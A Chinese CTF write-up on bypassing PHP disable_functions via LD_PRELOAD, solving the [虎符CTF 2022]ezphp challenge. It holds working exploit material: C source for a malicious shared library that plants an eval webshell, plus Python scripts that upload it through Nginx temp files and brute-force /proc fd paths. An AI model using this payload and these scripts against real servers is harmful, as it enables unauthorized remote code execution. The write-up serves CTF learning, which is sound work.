利用 LD_PRELOAD 环境变量
文章目录
- 原理
- LD_PRELOAD介绍
- 如何上传.so文件
- 例题 [虎符CTF 2022]ezphp
原理
LD_PRELOAD介绍
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
什么是链接
程序的链接主要有以下三种:
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
使用LD_PRELOAD绕过的条件
能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。
如何上传.so文件
利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含去解决
详细可参考[HXPCTF 2021]includer’s revenge
简单的RCE就是可以蚁剑连接后在/tmp下上传,难的话就像下面的例题
例题 [虎符CTF 2022]ezphp
源码如下
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
就是简单的三元运算符,存在参数env
首先恶意.so文件的构造
创建1.c文件,写入一句话木马,写到shell.php
#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("echo \"<?php eval(\\$_POST['cmd']);?>\" > /var/www/html/shell.php");
}
注:\\是为了防转义(\\\待定)
然后在Linux系统下用自带的gcc进行编译
gcc -shared -fPIC 1.c -o 1.so
增大so文件的大小,在so文件尾部加入脏字符
var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'
再执行
echo $var >> 1.so
可以看到文件是变大了

然后上脚本
脚本一(向网站发包)
from threading import Thread
import requests
import socket
import timeport = 28552
host = "node2.anna.nssctf.cn"def do_so():data = open("1.so", "rb").read()packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""packet = packet.encode()packet += datas = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.sendall(packet)time.sleep(10)s.close()if __name__ == "__main__":do_so()
脚本二(爆破一下pid)
import requests
from threading import Threadport = 28552
host = "node2.anna.nssctf.cn"def ldload(pid, fd):sopath = f"/proc/{pid}/fd/{fd}"print(sopath)r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})return rif __name__ == "__main__":# ldload(20, 20)for pid in range(12, 40):for fd in range(1, 40):t = Thread(target=ldload, args=(pid, fd))t.start()
在Linux同时运行脚本(当然windows也行)
python3 1.py & python3 2.py
通过脚本,一直往服务器传写入so文件
传入成功后,在/shell.php直接命令执行
相关文章:
利用 LD_PRELOAD 环境变量
文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理 LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接…...
黑马点评-Feed流的实现方案,基于推拉结合模式实现笔记推送
Feed流实现方案 我们关注了博主之后,当用户发布了动态后我们应该把这些数据推送给粉丝,关注推送也叫作Feed(投喂)流,通过无限下拉刷新获取新的信息 传统的模式内容检索: 粉丝需要主动通过搜索引擎或者是其他方式去查找想看的内容新型Feed流的效果: 系统分析用户到底想看什么,…...
Re53:读论文 How Can We Know What Language Models Know?
诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文名称:How Can We Know What Language Models Know? ArXiv网址:https://arxiv.org/abs/1911.12543 官方GitHub项目(prompt之类的都有):https:…...
YARN工作流程详解
图1 图2 图1 -作业提交阶段: 1、client 提交job,向 ResourceManager【RM】 申请job_id; 2、RM 返回 job_id 及资源提交路径 给 client 3、client 把job所需的资源提交 到 3中指定的路径中 4、client 上传完成资源后,向RM 发送执行作业请求,RM…...
力扣373场周赛题解
第一题: 这个题是一个简单题,数据范围也特别小,所以直接使用模拟方式暴力解答。 直接进行行移动的过程,然后检查移动后的结果是否与移动前相同。 代码: public class Solution {// 将指定行循环右移k次pri…...
编程语言发展史:Rust语言的出现和特点
一、Rust语言的出现 Rust语言是一种由Mozilla开发的系统级编程语言,该语言于2010年首次公布,由Graydon Hoare在Mozilla的工作期间开发,最初是为了替代C而设计的。Rust语言的目标是提供一种安全、高效、并发性强的编程语言,同时保…...
Centos Bind安装与排错
1.配置Centos系统静态IP vi/etc/sysconfig/network-scripts/ifcfg-ens33BOOTPROTOstaticIPADDR192.168.1.100NETMASK255.255.255.0GATEWAY192.168.1.1DNS18.8.8.8:wqsudo systemctl restart network.service 2.安装BIND(需要服务器连接互联网,如果服务…...
spark中write算子和format算子详解
在spark中,想要往数据库或者某sink路径里面写数据,存到外部存储系统,如文件系统、数据库或数据仓库,经常会用到write算子。 具体来说,write算子通常与DataFrame或Dataset API一起使用,用于将数据写入持久化…...
设计模式—接口隔离原则(ISP)
1.背景 2002 年罗伯特C.马丁给“接口隔离原则”的定义是:客户端不应该被迫依赖于它不使用的方法(Clients should not be forced to depend on methods they do not use)。该原则还有另外一个定义:一个类对另一个类的依赖应该建立…...
Jenkins用126邮箱发邮件为什么发不出去
1、检查 Jenkins Location中的邮件地址配置与发邮件的地址配置是否一致 Manage Jenkins -》 system 2、检查地址和端口号 3、检查邮箱的登录配置是否正确(这个地方的配置方式网上一抓一大把,自己搜一下就好) 4、126邮箱发邮件不需要勾选ssl协…...
怎么给数据库某个字段建立一个前缀索引
说明:SQL调优中重要的一个环节是建立索引,其中有一条是字段值过长字段应该建立前缀索引,即根据字段值的前几位建立索引,像数据库中的密码字段、UUID字段。 因为其随机性,其实根据前几位就可以锁定某一条记录了。前缀索…...
C# 图片下载工具类
写在前面 从浏览器的Html文本中获取图片链接并保存到本地,同时对图片的分辨率和品质进行处理,以满足某些平台的规格需求;可以放到多线程中调用以提高下载效率。 代码实现 public class ImageDownloader{private int minImageSize 1024 * 1…...
嵌入式硬件电路·电平
目录 1. 电平的概念 1.1 高电平 1.2 低电平 2. 电平的使用场景 2.1 高电平使能 2.2 低电平使能 2.3 失能 1. 电平的概念 电平是指电信号电压的大小或高低状态。在数字电子学中,电平有两种状态,高电平和低电平,用来表示二进制中…...
Python文件路径常用操作
1 文件路径 在进行数据处理时,经常要用代码去读文件里的数据,那么首先就得知道这个文件的文件路径。文件路径简单地说就是文件的存放位置。文件路径分为两块:文件夹路径和文件名,文件名又分为文件基本名和扩展名。 举例说明&…...
Redis-Redis 高并发分布式锁
集群分布式场景高并发 1.negix配置代理和路由 高并发场景超卖问题 1.使用原生redis控制超卖时(若是商品,则可以将商品id作为锁对象),会遇到的问题 问题一:若直接使用:将获取锁的对象和设置的超时的时间分开,则不能控…...
【推荐系统】MMOE笔记 20231126
paper阅读 任务差异带来的固有冲突实际上会损害至少某些任务的预测,特别是当模型参数在所有任务之间广泛共享时。(在说ESMM) 共享底层参数可以减少过拟合风险,但是会遇到任务差异引起的优化冲突,因为所有任务都需要在…...
4. 标准 IO 库
4. 标准 IO 库 1. 标准 IO 简介2. FILE 指针3. 标准输入、标准输出和标准错误4. fopen() 和 flose()5. fread() 和 fwrite()6. fseek 定位7. 检查或复位状态7.1 feof()7.2 ferrof()7.3 clearerr() 8. 格式化 IO8.1 格式化输出8. 2 格式化输入 9. IO 缓冲9.1 文件 IO 的内核缓冲…...
SAP Smartform小结
SAP系统做打印单据用的, 感觉很不好用, 特别是要嵌入韩文时必须使用嵌入的word编辑器,运行速度简直不可忍受. 见过一些Adobe interactive form的示例, 看着相当不错, 不过据说需要花money额外买licence, 哪有smartform这种免费东西来得实惠. 一般打印需求,会要求有标题抬头,打…...
KVM虚拟机的NAT网络模式原理及过程展示
NAT的方式及原理 NAT方式是KVM安装后的默认方式。 它支持主机与虚拟机的互访,同时也支持虚拟机访问互联网,但不支持外界访问虚拟机。 default是宿主机安装虚拟机支持模块的时候自动安装的。 其中 virbr0是由宿主机虚拟机支持模块安装时产生的虚拟网络接…...
亚马逊云科技向量数据库助力生成式AI成功落地实践探秘(一)
随着大语言模型效果明显提升,其相关的应用不断涌现呈现出越来越火爆的趋势。其中一种比较被广泛关注的技术路线是大语言模型(LLM)知识召回(Knowledge Retrieval)的方式,在私域知识问答方面可以很好的弥补通…...
腕带硬件选型方案
一、核心处理器选型 二、心率与血氧检测模块选型 2.1 选型方案:JFC103 2.1.1 发光源 1. 绿色 功能:心率测量与脉搏波形(心律波形) 采集。 原因:绿光穿透表皮后,被血液吸收的程度会随心脏搏动而周期性变化。相比红光,绿光在皮肤浅层对血流灌注变化的敏感度最高,信噪比…...
GD32F103待机模式实测:功耗从30mA降到3mA,手把手教你用按键唤醒(附源码)
GD32F103待机模式实战:从30mA到3mA的功耗优化全解析 引言 在嵌入式系统设计中,功耗优化一直是开发者面临的永恒课题。想象一下,你设计的智能门锁因为功耗问题需要频繁更换电池,或者野外监测设备因为电量耗尽而失去关键数据采集机会…...
台达PLC伺服追剪程序及电子凸轮技术,含DVP15MC源代码与触摸屏程序一体化解决方案
台达PLC伺服追剪程序,电子凸轮,全部源代码,PLC程序和触摸屏程序,DVP15MC。最近在搞台达PLC的追剪项目,发现里面电子凸轮的设计挺有意思。直接上干货,咱们先看这个追剪系统的核心逻辑——电子凸轮的参数配置…...
CMake变量实战:从基础引用到高级构建控制
1. CMake变量基础:从入门到精通 CMake变量是构建系统的核心元素,就像编程语言中的变量一样,它们可以存储和传递各种信息。我第一次接触CMake变量时,完全被各种前缀和命名规则搞晕了,直到踩过几次坑后才真正理解它们的运…...
群晖7.2整合Jellyfin+alist+CloudDriver打造云端无盘影音库
1. 为什么需要云端无盘影音库? 最近几年,我发现越来越多的朋友开始在家里搭建私人影音库。传统的做法是在NAS里塞满硬盘,但随着4K、HDR等高码率资源的普及,本地存储很快就捉襟见肘。我自己就经历过几次硬盘爆满的尴尬,…...
DISCO-F469NI嵌入式LCD触摸驱动C++封装库
1. 项目概述DISCOF469LCD 是一个面向 STMicroelectronics DISCO-F469NI 开发板的触摸式 LCD 显示驱动封装库。该库并非从零实现底层硬件控制,而是基于 ST 官方提供的 BSP(Board Support Package)层进行面向对象的 C 封装,旨在为嵌…...
ElementUI下拉多选框避坑指南:如何优雅处理全选与反选逻辑
ElementUI多选框全选逻辑深度解析:从原理到最佳实践 下拉多选框是后台管理系统中最常用的交互组件之一,但很多开发者在实现全选功能时都会遇到各种边界问题。上周在重构供应链管理系统时,我花了整整两天时间才彻底解决了全选状态同步的难题—…...
科研效率翻倍:如何用MATLAB脚本批量处理并导入多个三维荧光样本到DOMfluor?
科研效率革命:MATLAB全自动三维荧光数据处理流水线设计 在环境科学、化学分析等领域,三维荧光光谱技术已成为解析复杂有机物组成的利器。但面对每周产生的数十个Aqualog数据文件,研究人员往往陷入重复劳动的泥潭——手动调整数据格式、逐个导…...
OBS多平台直播终极指南:免费开源工具实现一键同步推流
OBS多平台直播终极指南:免费开源工具实现一键同步推流 【免费下载链接】obs-multi-rtmp OBS複数サイト同時配信プラグイン 项目地址: https://gitcode.com/gh_mirrors/ob/obs-multi-rtmp 想要在多个直播平台同时推送高质量内容?OBS Multi RTMP插件…...
从Prompt Engineering到Agent Engineering:2026奇点大会定义的AI原生研发能力图谱(含6级评估矩阵)
第一章:AI原生软件研发:2026奇点智能技术大会核心议题 2026奇点智能技术大会(https://ml-summit.org) AI原生软件研发已从概念验证迈入工程化落地深水区。2026奇点智能技术大会将AI原生软件定义为“以大模型为运行时、以提示与工具调用为基本指令单元、…...
